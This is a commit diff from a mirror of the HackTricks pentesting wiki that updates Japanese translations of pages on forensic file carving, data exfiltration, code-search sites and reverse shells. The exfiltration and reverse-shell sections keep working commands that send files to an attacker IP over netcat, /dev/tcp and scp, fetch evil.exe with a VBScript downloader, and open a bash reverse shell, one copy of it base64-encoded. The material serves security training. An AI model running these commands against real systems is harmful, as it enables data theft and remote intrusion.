mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['forensics/basic-forensic-methodology/partitions-file-system
This commit is contained in:
parent
d6e4b278ef
commit
d20ceb0354
42 changed files with 1381 additions and 1440 deletions
|
@ -7,16 +7,16 @@
|
|||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。
|
||||
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**する。
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,15 +24,15 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
## 彫刻と回復ツール
|
||||
|
||||
[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にさらに多くのツールがあります。
|
||||
[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にさらに多くのツールがあります
|
||||
|
||||
### Autopsy
|
||||
|
||||
ファイルをイメージから抽出するために最も一般的に使用されるツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージやその他の種類のイメージをサポートするように構築されていますが、単純なファイルはサポートしていません。
|
||||
フォレンジックで最も一般的に使用されるファイルをイメージから抽出するためのツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージやその他の種類のイメージをサポートするように構築されていますが、単純なファイルはサポートしていません。
|
||||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk**はバイナリファイルを分析して埋め込まれたコンテンツを見つけるためのツールです。`apt`を介してインストール可能で、ソースは[GitHub](https://github.com/ReFirmLabs/binwalk)にあります。
|
||||
**Binwalk**はバイナリファイルを分析して埋め込まれたコンテンツを見つけるためのツールです。`apt`を介してインストールでき、そのソースは[GitHub](https://github.com/ReFirmLabs/binwalk)にあります。
|
||||
|
||||
**便利なコマンド**:
|
||||
```bash
|
||||
|
@ -43,7 +43,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
### Foremost
|
||||
|
||||
もう1つの一般的な隠しファイルを見つけるためのツールは **foremost** です。 foremost の設定ファイルは `/etc/foremost.conf` にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremost はデフォルトで設定されたファイルタイプを検索します。
|
||||
もう1つの一般的な隠しファイルを見つけるためのツールは **foremost** です。Foremost の設定ファイルは `/etc/foremost.conf` にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremost はデフォルトで設定されたファイルタイプを検索します。
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -51,7 +51,7 @@ foremost -v -i file.img -o output
|
|||
```
|
||||
### **Scalpel**
|
||||
|
||||
**Scalpel**は、ファイルに埋め込まれたファイルを見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを構成ファイル(_/etc/scalpel/scalpel.conf_)からコメントアウトする必要があります。
|
||||
**Scalpel**は、ファイルに埋め込まれたファイルを見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを設定ファイル(_/etc/scalpel/scalpel.conf_)からコメントアウトする必要があります。
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
|
@ -60,13 +60,13 @@ scalpel file.img -o output
|
|||
|
||||
このツールはKaliに含まれていますが、こちらで見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
このツールは画像をスキャンし、その中から**pcapsを抽出**し、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**や他の**ファイル**を取得することができます。以下の手順のみを実行する必要があります:
|
||||
このツールは画像をスキャンし、**その中からpcapsを抽出**し、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**や**その他のファイル**を取得することができます。行う必要があるのは以下の通りです:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
### PhotoRec
|
||||
|
||||
[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) で見つけることができます。
|
||||
[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) で入手できます。
|
||||
|
||||
GUI と CLI バージョンがあります。PhotoRec が検索する**ファイルタイプ**を選択できます。
|
||||
|
||||
|
@ -81,23 +81,23 @@ GUI と CLI バージョンがあります。PhotoRec が検索する**ファイ
|
|||
- ビジュアルでアクティブな**構造ビューア**
|
||||
- 異なる焦点点のための複数のプロット
|
||||
- サンプルの一部に焦点を当てる
|
||||
- PE や ELF 実行可能ファイルで**文字列やリソースを見る**ことができます
|
||||
- PE や ELF 実行可能ファイル内の**文字列やリソース**を見る
|
||||
- ファイルの暗号解析のための**パターン**を取得
|
||||
- パッカーやエンコーダーアルゴリズムを**見つける**
|
||||
- パターンによるステガノグラフィの**識別**
|
||||
- **ビジュアル**バイナリ差分
|
||||
- パッカーやエンコーダーアルゴリズムを**特定**
|
||||
- パターンによるステガノグラフィを**識別**
|
||||
- バイナリの差分を**視覚化**
|
||||
|
||||
BinVis は、ブラックボックスシナリオで未知のターゲットに慣れるための**素晴らしいスタートポイント**です。
|
||||
BinVis は、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい**スタートポイント**です。
|
||||
|
||||
## 特定のデータカービングツール
|
||||
|
||||
### FindAES
|
||||
|
||||
TrueCrypt や BitLocker で使用されるような 128、192、256 ビットの鍵を見つけるために、鍵スケジュールを検索することで AES 鍵を検索します。
|
||||
TrueCrypt や BitLocker で使用されるような 128、192、256 ビットのキーを見つけるために、キースケジュールを検索することで AES キーを検索します。
|
||||
|
||||
[こちらからダウンロード](https://sourceforge.net/projects/findaes/)
|
||||
|
||||
## 付随するツール
|
||||
|
||||
ターミナルから画像を見るために [**viu** ](https://github.com/atanunq/viu)を使用できます。\
|
||||
ターミナルから画像を表示するために [**viu** ](https://github.com/atanunq/viu)を使用できます。\
|
||||
Linux コマンドラインツール **pdftotext** を使用して、PDF をテキストに変換して読むことができます。
|
||||
|
|
|
@ -1,32 +1,32 @@
|
|||
# 情報の外部流出
|
||||
# 情報の外部への持ち出し
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する。
|
||||
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
- **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 情報を外部流出させるための一般的にホワイトリストに登録されているドメイン
|
||||
## 情報の外部への持ち出しに使用される一般的にホワイトリストに登録されているドメイン
|
||||
|
||||
[https://lots-project.com/](https://lots-project.com/)をチェックして、悪用できる一般的にホワイトリストに登録されているドメインを見つける
|
||||
一般的に悪用される可能性のあるホワイトリストに登録されているドメインを見つけるには、[https://lots-project.com/](https://lots-project.com/)をチェックしてください
|
||||
|
||||
## Base64をコピー&ペースト
|
||||
## Base64のコピー&ペースト
|
||||
|
||||
**Linux**
|
||||
```bash
|
||||
|
@ -185,37 +185,27 @@ guest ok = Yes
|
|||
#Start samba
|
||||
service smbd restart
|
||||
```
|
||||
## Exfiltration
|
||||
## Exfiltration Techniques
|
||||
|
||||
### Introduction
|
||||
### Exfiltration Over Command and Control Channel
|
||||
|
||||
Exfiltration is the unauthorized transfer of data from a target. This can be achieved through various methods, such as:
|
||||
During post-exploitation, an attacker can exfiltrate data over the command and control channel. This can be achieved by executing commands on the compromised system to transfer files or exfiltrate sensitive information to the attacker-controlled server.
|
||||
|
||||
- **Direct exfiltration**: Data is sent directly from the target to an external location.
|
||||
- **Indirect exfiltration**: Data is first sent to an intermediate location before being transferred to an external location.
|
||||
- **Covert exfiltration**: Data is hidden within other legitimate network traffic to avoid detection.
|
||||
### Exfiltration Over Alternative Protocols
|
||||
|
||||
### Techniques
|
||||
Attackers can also exfiltrate data using alternative protocols such as DNS, ICMP, or HTTP. By encoding the data and sending it over these protocols, attackers can bypass network security controls and exfiltrate data without being detected easily.
|
||||
|
||||
#### Common Exfiltration Techniques
|
||||
### Exfiltration Over Encrypted Channels
|
||||
|
||||
1. **Compression**: Data is compressed before exfiltration to reduce its size and avoid detection.
|
||||
2. **Encryption**: Data is encrypted to prevent unauthorized access during exfiltration.
|
||||
3. **Steganography**: Data is hidden within other files or data to avoid detection.
|
||||
4. **Protocol Manipulation**: Data is sent using non-standard protocols to bypass security controls.
|
||||
5. **DNS Tunneling**: Data is exfiltrated through DNS requests to avoid detection.
|
||||
To avoid detection, attackers may exfiltrate data over encrypted channels such as HTTPS or SSH. By leveraging encryption, attackers can make it harder for security tools to inspect the exfiltrated data, increasing the chances of successful exfiltration.
|
||||
|
||||
### Tools
|
||||
### Exfiltration Using Steganography
|
||||
|
||||
#### Exfiltration Tools
|
||||
Steganography involves hiding data within other non-secret files or communication channels. Attackers can embed sensitive information within images, audio files, or other digital content and exfiltrate it without arousing suspicion.
|
||||
|
||||
1. **Netcat**: A versatile networking tool that can be used for exfiltration.
|
||||
2. **Wget**: A command-line utility for downloading files, which can be used for exfiltration.
|
||||
3. **Curl**: Another command-line tool for transferring data, useful for exfiltration.
|
||||
### Exfiltration Using Covert Channels
|
||||
|
||||
### Conclusion
|
||||
|
||||
Exfiltration is a critical phase of the attack lifecycle, where the attacker attempts to steal valuable data from the target. By understanding exfiltration techniques and using appropriate tools, attackers can successfully transfer data without being detected.
|
||||
Covert channels are hidden communication paths that are not normally used for data transfer. Attackers can leverage covert channels to exfiltrate data without being detected by traditional security mechanisms, making it challenging for defenders to monitor and prevent data exfiltration.
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
@ -231,7 +221,7 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
|
|||
```
|
||||
## SSHFS
|
||||
|
||||
被害者がSSHを持っている場合、攻撃者は被害者から攻撃者にディレクトリをマウントすることができます。
|
||||
被害者がSSHを持っている場合、攻撃者は被害者から攻撃者にディレクトリをマウントできます。
|
||||
```bash
|
||||
sudo apt-get install sshfs
|
||||
sudo mkdir /mnt/sshfs
|
||||
|
@ -239,23 +229,7 @@ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP addre
|
|||
```
|
||||
## NC
|
||||
|
||||
### Data Exfiltration
|
||||
|
||||
#### Description
|
||||
|
||||
The Netcat utility, or `nc`, is a versatile tool that can be used for data exfiltration. Netcat can create a connection between a source and a destination, allowing for the transfer of data between them. This can be leveraged by an attacker to exfiltrate sensitive information from a target network.
|
||||
|
||||
#### Methodology
|
||||
|
||||
1. **Listener Setup**: The attacker sets up a listener on a machine outside the target network using Netcat.
|
||||
|
||||
2. **Data Transfer**: Netcat is then used on the compromised machine within the target network to connect to the listener set up by the attacker. Data can be transferred between the two machines through this connection.
|
||||
|
||||
3. **Exfiltration**: The attacker can exfiltrate sensitive data by redirecting the output of commands or by transferring files using Netcat.
|
||||
|
||||
#### Detection
|
||||
|
||||
Monitoring network traffic for suspicious connections to external machines, especially using uncommon ports, can help in detecting data exfiltration using Netcat. Conducting regular security audits and implementing network segmentation can also aid in detecting and preventing such attacks.
|
||||
NC(Netcat)は、ネットワーク通信を行うための便利なツールです。リバースシェルを作成したり、ファイルを転送したりする際に使用されます。
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
|
@ -267,7 +241,9 @@ nc -vn <IP> 4444 < exfil_file
|
|||
nc -lvnp 80 > file #Inside attacker
|
||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
```
|
||||
### 被害者へのファイルアップロード
|
||||
### ターゲットへのファイルアップロード
|
||||
|
||||
この手法は、攻撃者が機密データを盗み出すために使用することができます。攻撃者は、悪意のあるファイルをターゲットのシステムにアップロードし、そのファイルを使用してデータを盗み出すことができます。この手法を使用する際には、ファイルが検出されないように注意する必要があります。
|
||||
```bash
|
||||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||
# Inside victim
|
||||
|
@ -328,37 +304,9 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '
|
|||
```
|
||||
## VBScript
|
||||
|
||||
### VBScript Exfiltration Techniques
|
||||
### VBScript
|
||||
|
||||
VBScript can be used to exfiltrate data from a compromised system. Below are some common techniques used for data exfiltration using VBScript:
|
||||
|
||||
1. **Writing to Files**: VBScript can write data to files on the system, which can then be transferred out.
|
||||
|
||||
2. **Sending Emails**: VBScript can be used to send emails with the exfiltrated data as attachments or within the email body.
|
||||
|
||||
3. **HTTP Requests**: VBScript can make HTTP requests to external servers, sending the exfiltrated data in the request payload.
|
||||
|
||||
4. **DNS Tunneling**: VBScript can encode data in DNS requests and responses to exfiltrate information covertly.
|
||||
|
||||
5. **FTP Transfer**: VBScript can be used to transfer files via FTP to an external server.
|
||||
|
||||
6. **Executing Commands**: VBScript can execute commands to exfiltrate data through various means.
|
||||
|
||||
### Detection and Prevention
|
||||
|
||||
To detect and prevent data exfiltration via VBScript, consider the following measures:
|
||||
|
||||
- **Monitoring File Writes**: Monitor for suspicious file write activities by VBScript.
|
||||
|
||||
- **Network Traffic Analysis**: Analyze network traffic for any unusual patterns or connections made by VBScript.
|
||||
|
||||
- **Email Filtering**: Implement email filtering to prevent VBScript from sending out exfiltrated data via emails.
|
||||
|
||||
- **Firewall Rules**: Configure firewall rules to restrict VBScript from making unauthorized network connections.
|
||||
|
||||
- **Behavioral Analysis**: Conduct behavioral analysis to detect any abnormal behavior exhibited by VBScript.
|
||||
|
||||
By implementing these detection and prevention measures, organizations can enhance their security posture against data exfiltration using VBScript.
|
||||
VBScriptは、Windowsシステムで使用されるスクリプト言語であり、悪意のあるアクターがデータを外部に送信するために使用することができます。VBScriptを使用してデータを外部に送信する方法の1つは、ファイルを作成し、そのファイルにデータを書き込んでから、外部のサーバーにそのファイルをアップロードすることです。VBScriptを使用すると、データをエクスフィルトするための多くの方法が可能になります。
|
||||
```bash
|
||||
Attacker> python -m SimpleHTTPServer 80
|
||||
```
|
||||
|
@ -396,7 +344,7 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
|||
```
|
||||
## Debug.exe
|
||||
|
||||
`debug.exe`プログラムは、バイナリの検査だけでなく、**16進数からバイナリを再構築する機能**も持っています。これはつまり、バイナリの16進数を提供することで、`debug.exe`がバイナリファイルを生成できるということです。ただし、`debug.exe`には**64 kbまでのファイルをアセンブルするという制限**があることに注意することが重要です。
|
||||
`debug.exe`プログラムは、バイナリの検査だけでなく、**16進数からバイナリを再構築する機能**を持っています。これは、バイナリの16進数を提供することで、`debug.exe`がバイナリファイルを生成できることを意味します。ただし、`debug.exe`には**64 kbまでのファイルをアセンブリングするという制限**があることに注意することが重要です。
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
|
@ -405,3 +353,23 @@ wine exe2bat.exe nc.exe nc.txt
|
|||
## DNS
|
||||
|
||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>でゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,36 +9,36 @@ HackTricks をサポートする他の方法:
|
|||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks_live** をフォローする
|
||||
* **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks_live** をフォローする**.**
|
||||
* **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
このページの目的は、1つまたは複数のプラットフォームで数千万のリポジトリを横断してコード(リテラルまたは正規表現)を検索できる **プラットフォームを列挙すること** です。
|
||||
このページの目標は、1つ以上のプラットフォームで数千万のリポジトリを横断してコード(リテラルまたは正規表現)を検索できる **プラットフォームを列挙すること** です。
|
||||
|
||||
これは、**漏洩情報** や **脆弱性** パターンを検索する際に役立ちます。
|
||||
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): 数百万のリポジトリを検索します。無料版とエンタープライズ版(15日間無料)があります。正規表現をサポートしています。
|
||||
* [**Github Search**](https://github.com/search): Github全体を検索します。正規表現をサポートしています。
|
||||
* また、[**Github Code Search**](https://cs.github.com/) もチェックすると便利かもしれません。
|
||||
* おそらく [**Github Code Search**](https://cs.github.com/) もチェックすると便利です。
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlabプロジェクト全体を検索します。正規表現をサポートしています。
|
||||
* [**SearchCode**](https://searchcode.com/): 数百万のプロジェクトでコードを検索します。
|
||||
|
||||
{% hint style="warning" %}
|
||||
リポジトリで漏洩を探す際に `git log -p` のようなコマンドを実行するときは、**他のコミットを含む他のブランチに秘密情報が含まれている可能性** があることを忘れないでください!
|
||||
リポジトリで漏洩を探して `git log -p` のようなコマンドを実行する際は、**他のコミットを含む他のブランチに秘密情報が含まれている可能性** があることを忘れないでください!
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -51,7 +51,7 @@ HackTricks をサポートする他の方法:
|
|||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks_live** をフォローする
|
||||
* **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks_live** をフォローする**.**
|
||||
* **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>**でゼロからヒーローまでAWSハッキングを学ぶ**</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする。**
|
||||
* **ハッキングテクニックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに貢献する。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f)または[**telegram グループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,7 +26,7 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
## フルTTY
|
||||
|
||||
**リバースシェルを取得したら、[このページを読んでフルTTYを取得してください](full-ttys.md)**
|
||||
**逆シェルを取得したら、[**このページを読んでフルTTYを取得**](full-ttys.md)**してください。**
|
||||
|
||||
## Bash | sh
|
||||
```bash
|
||||
|
@ -54,11 +54,11 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
|||
```
|
||||
#### シェルの説明
|
||||
|
||||
1. **`bash -i`**: このコマンドの部分は、インタラクティブ(`-i`)なBashシェルを起動します。
|
||||
2. **`>&`**: このコマンドの部分は、**標準出力(`stdout`)と標準エラー(`stderr`)を同じ場所にリダイレクト**するための短縮表記です。
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: これは、指定されたIPアドレスとポートへのTCP接続を表す特別なファイルです。
|
||||
1. **`bash -i`**: このコマンドの部分は、インタラクティブ(`-i`)なBashシェルを開始します。
|
||||
2. **`>&`**: このコマンドの部分は、**標準出力(`stdout`)と標準エラー(`stderr`)を同じ宛先にリダイレクト**するための短縮表記です。
|
||||
3. **`/dev/tcp/<攻撃者のIP>/<ポート>`**: これは、指定されたIPアドレスとポートへのTCP接続を表す特別なファイルです。
|
||||
* **出力とエラーストリームをこのファイルにリダイレクト**することで、コマンドはインタラクティブシェルセッションの出力を攻撃者のマシンに送信します。
|
||||
